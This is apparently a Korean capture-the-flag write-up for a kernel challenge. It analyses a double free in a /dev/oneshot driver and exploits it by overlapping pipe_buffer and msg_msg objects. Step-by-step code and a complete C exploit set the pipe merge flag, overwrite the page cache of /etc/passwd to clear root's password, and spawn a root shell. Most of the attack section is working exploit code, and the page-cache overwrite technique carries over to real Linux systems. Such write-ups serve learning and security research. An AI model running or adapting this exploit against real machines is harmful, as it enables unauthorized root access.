pwn_kuwu - One Shot One Flag

취약점 분석

1. module_ioctl()의 해제 후 포인터 초기화 누락

/dev/oneshot은 다음 두 ioctl 명령을 제공한다.

  • 0x13370001: kmalloc(0x1000)으로 객체를 만들고 사용자 데이터를 복사한다.
  • 0x13370002: 전역 포인터 chunkkfree()한다.

해제 경로는 chunkNULL로 초기화하지 않는다. 따라서 같은 FD에서 FREE 명령을 반복하면 동일한 주소를 다시 해제할 수 있다.

static long module_ioctl(struct file *file, unsigned int cmd,
                         unsigned long arg)
{
    long ret = -1;
 
    mutex_lock(&g_mutex);
 
    if (cmd == 0x13370001) {
        if (chunk == NULL) {
            void *new_chunk = kmalloc(0x1000, GFP_KERNEL_ACCOUNT);
 
            if (new_chunk != NULL &&
                copy_from_user(new_chunk, (void __user *)arg, 0x1000) == 0) {
                chunk = new_chunk;
                ret = 0;
            } else {
                kfree(new_chunk);
            }
        }
    } else if (cmd == 0x13370002) {
        kfree(chunk);
        /* chunk = NULL; 이 누락됨 */
        ret = 0;
    }
 
    mutex_unlock(&g_mutex);
    return ret;
}

첫 FREE 이후 다른 kmalloc-4k 객체가 같은 주소를 재사용하게 만든 다음 FREE를 다시 호출하면, 드라이버가 그 객체를 사용 중인 상태로 해제한다. 이를 통해 다른 커널 객체와의 UAF 및 타입 혼동을 만들 수 있다.

이 익스플로잇은 해당 주소를 파이프의 pipe_buffer 배열로 재사용한 뒤 다시 해제하고, 같은 주소를 System V msg_msg로 재할당한다. 그 결과 메시지 송수신으로 파이프 메타데이터를 읽고 쓸 수 있다.

Exploit 과정

Step 1: 취약한 0x1000 객체 할당 및 첫 번째 해제

드라이버가 kmalloc-4k에서 0x1000바이트 객체를 할당하도록 한다. 첫 번째 FREE 이후 전역 chunk는 해제된 주소를 계속 가리킨다.

char buf[0x1000] = {0};
memset(buf, 0x41, sizeof(buf));
 
ioctl(fd, CREATE_CMD, buf);
ioctl(fd, DELETE_CMD, buf);

Step 2: 해제된 주소를 pipe_buffer 배열로 재사용

파이프 크기를 0x30000으로 요청하면 커널은 페이지 수를 2의 거듭제곱으로 반올림한다. 64개 엔트리로 구성된 배열은 다음 크기를 가지므로 kmalloc-4k에 배치된다.

64 * sizeof(struct pipe_buffer)
= 64 * 0x28
= 0xa00
=> kmalloc-4k

첫 FREE로 반환된 드라이버 객체를 이 배열이 재사용한다.

int pipefd[2];
pipe(pipefd);
fcntl(pipefd[1], F_SETPIPE_SZ, 0x1000 * 0x30);
 
write(pipefd[1], "AAAA", 4);
read(pipefd[0], buf, 4);
write(pipefd[1], "BBBB", 4);

write/read/write는 파이프 링의 head와 tail을 진행시켜 이후 생성되는 file-backed pipe_buffer가 메시지 데이터에서 관찰 가능한 위치에 놓이도록 한다.

Step 3: 두 번째 FREE로 살아 있는 파이프 배열 해제

전역 chunk는 여전히 파이프 배열 주소를 가리킨다. 두 번째 FREE는 파이프가 사용 중인 배열을 kfree()한다.

ioctl(fd, DELETE_CMD, buf);

이 시점부터 pipe->bufs는 해제된 kmalloc-4k 객체를 가리킨다.

Step 4: msg_msg로 파이프 배열과 겹치기

struct msg_msg 헤더는 0x30바이트이다. 0xfd0바이트 메시지를 전송하면 전체 할당 크기가 정확히 0x1000이 된다.

sizeof(struct msg_msg) + message length
= 0x30 + 0xfd0
= 0x1000

따라서 msgsnd()가 해제된 파이프 배열 주소를 재사용한다.

struct msg_buf {
    long mtype;
    char mtext[0x1000 - 0x30];
};
 
msg.mtype = 1;
memset(msg.mtext, 0x42, sizeof(msg.mtext));
msgsnd(qid, &msg, sizeof(msg.mtext), 0);

파이프와 메시지가 같은 커널 객체를 동시에 참조하므로 파이프 동작이 메시지 본문을 변경하고, 메시지 전송이 파이프 메타데이터를 변경한다.

Step 5: splice()/etc/passwd의 page cache 연결

splice()/etc/passwd의 첫 바이트가 들어 있는 page-cache page를 참조하는 pipe_buffer를 파이프에 추가한다.

int passwd_fd = open("/etc/passwd", O_RDONLY);
off_t offset = 0;
 
splice(passwd_fd, &offset, pipefd[1], NULL, 1, 0);

데이터를 사용자 공간으로 복사하지 않고 다음과 같은 file-backed pipe_buffer가 생성된다.

struct pipe_buffer {
    struct page *page;                     // +0x00
    unsigned int offset;                   // +0x08
    unsigned int len;                      // +0x0c
    const struct pipe_buf_operations *ops; // +0x10
    unsigned int flags;                    // +0x18
    unsigned long private;                 // +0x20
};

Step 6: 겹친 메시지를 수신하여 파이프 메타데이터 유출

msgrcv()가 겹친 msg_msg의 본문을 사용자 공간으로 복사한다. 실제 실행 결과에서 file-backed pipe_buffermsg.mtext + 0x20부터 나타난다.

msg.mtext + 0x20: page
msg.mtext + 0x28: offset | len
msg.mtext + 0x30: ops
msg.mtext + 0x38: flags
msg.mtext + 0x40: private
msgrcv(qid, &msg, 0x100, 1, IPC_NOWAIT | MSG_NOERROR);
hexdump(msg.mtext, 0x100);

msgrcv()는 메시지를 큐에서 제거하면서 겹친 kmalloc-4k 객체도 다시 해제한다. 유출한 pageops는 그대로 보존하고 다음 두 필드만 변경한다.

*(uint64_t *)(msg.mtext + 0x28) = 0;
*(uint64_t *)(msg.mtext + 0x38) = 0x10;

첫 번째 대입은 offsetlen을 모두 0으로 만든다. 두 번째 대입은 PIPE_BUF_FLAG_CAN_MERGE 비트 0x10을 설정한다.

Step 7: 수정한 메시지로 파이프 메타데이터 덮기

메시지를 다시 전송하면 방금 해제된 주소가 다시 msg_msg로 할당된다. 사용자 공간에서 수정한 본문이 겹친 파이프 배열에 기록된다.

msgsnd(qid, &msg, sizeof(msg.mtext), 0);

마지막 file-backed pipe_buffer는 다음 상태가 된다.

page   = /etc/passwd의 page-cache page
offset = 0
len    = 0
flags  = PIPE_BUF_FLAG_CAN_MERGE

Step 8: page cache의 /etc/passwd 덮기

PIPE_BUF_FLAG_CAN_MERGE가 설정되었으므로 다음 write()는 새 익명 파이프 페이지를 만들지 않고 기존 file-backed buffer에 데이터를 병합한다. 따라서 읽기 전용으로 연 /etc/passwd의 page cache가 변경된다.

char *new_passwd = "root::0:0:root:/root:/bin/sh\n";
 
write(pipefd[1], new_passwd, strlen(new_passwd));
system("su -c '/bin/sh'");

root 계정의 비밀번호 필드를 비운 뒤 su를 실행하여 root 셸을 획득한다.

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
 
#define CREATE_CMD 0x13370001
#define DELETE_CMD 0x13370002
 
struct msg_buf
{
    long mtype;
    char mtext[0x1000 - 0x30];
};
 
int main()
{
    important("happy hacking!");
 
    // open /dev/oneshot
    pin_cpu(0);
    int fd = open("/dev/oneshot", O_RDWR);
    if (fd < 0)
    {
        perror("open");
        return -1;
    }
    info("/dev/oneshot opened: %d", fd);
 
    // create 0x1000 object and delete it
    char buf[0x1000] = {0};
    memset(buf, 0x41, sizeof(buf));
    ioctl(fd, CREATE_CMD, buf);
    info("created 0x1000 object");
 
    ioctl(fd, DELETE_CMD, buf);
    info("deleted 0x1000 object");
 
    // create pipe
    int pipefd[2];
    pipe(pipefd);
    info("pipe: %d %d", pipefd[0], pipefd[1]);
 
    // allocated pipe_buffer at the kmalloc-4k
    fcntl(pipefd[1], F_SETPIPE_SZ, 0x1000 * 0x30);
    info("pipe_buffer allocated at kmalloc-4k");
 
    write(pipefd[1], "AAAA", 4);
    read(pipefd[0], buf, 4);
    write(pipefd[1], "BBBB", 4);
 
    // double free the 0x1000 object
    ioctl(fd, DELETE_CMD, buf);
    info("double free the 0x1000 object");
 
    // create a message queue
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    info("msgget: %d", qid);
 
    // create 0x1000 size msg_msg struct at kmalloc-4k which will be allocated at kmalloc-4k
    struct msg_buf msg;
    msg.mtype = 1;
    memset(msg.mtext, 0x42, sizeof(msg.mtext));
    msgsnd(qid, &msg, sizeof(msg.mtext), 0);
    info("msgsnd: %d", qid);
 
    // splice the pipe to the /etc/passwd file
    int passwd_fd = open("/etc/passwd", O_RDONLY);
    info("/etc/passwd opened: %d", passwd_fd);
 
    off_t offset = 0;
    splice(passwd_fd, &offset, pipefd[1], NULL, 1, 0);
    info("spliced /etc/passwd to pipe");
 
    // read the msg to leak
    msgrcv(qid, &msg, 0x100, 1, IPC_NOWAIT | MSG_NOERROR);
    hexdump(msg.mtext, 0x100);
 
    // set pipe_buffer->offset,len to 0
    *(uint64_t *)(msg.mtext + 0x28) = 0;
    // set pipe_buffer->flags to PIPE_BUF_FLAG_CAN_MERGE
    *(uint64_t *)(msg.mtext + 0x38) = 0x10;
 
    // write the msg to overwrite the pipe_buffer->offset,len
    msgsnd(qid, &msg, sizeof(msg.mtext), 0);
    info("overwritten pipe_buffer->offset,len to 0");
 
    // overwrite the /etc/passwd file content
    char *new_passwd = "root::0:0:root:/root:/bin/sh\n";
    write(pipefd[1], new_passwd, strlen(new_passwd));
    info("overwritten /etc/passwd file content");
 
    system("su -c '/bin/sh'");
 
    return 0;
}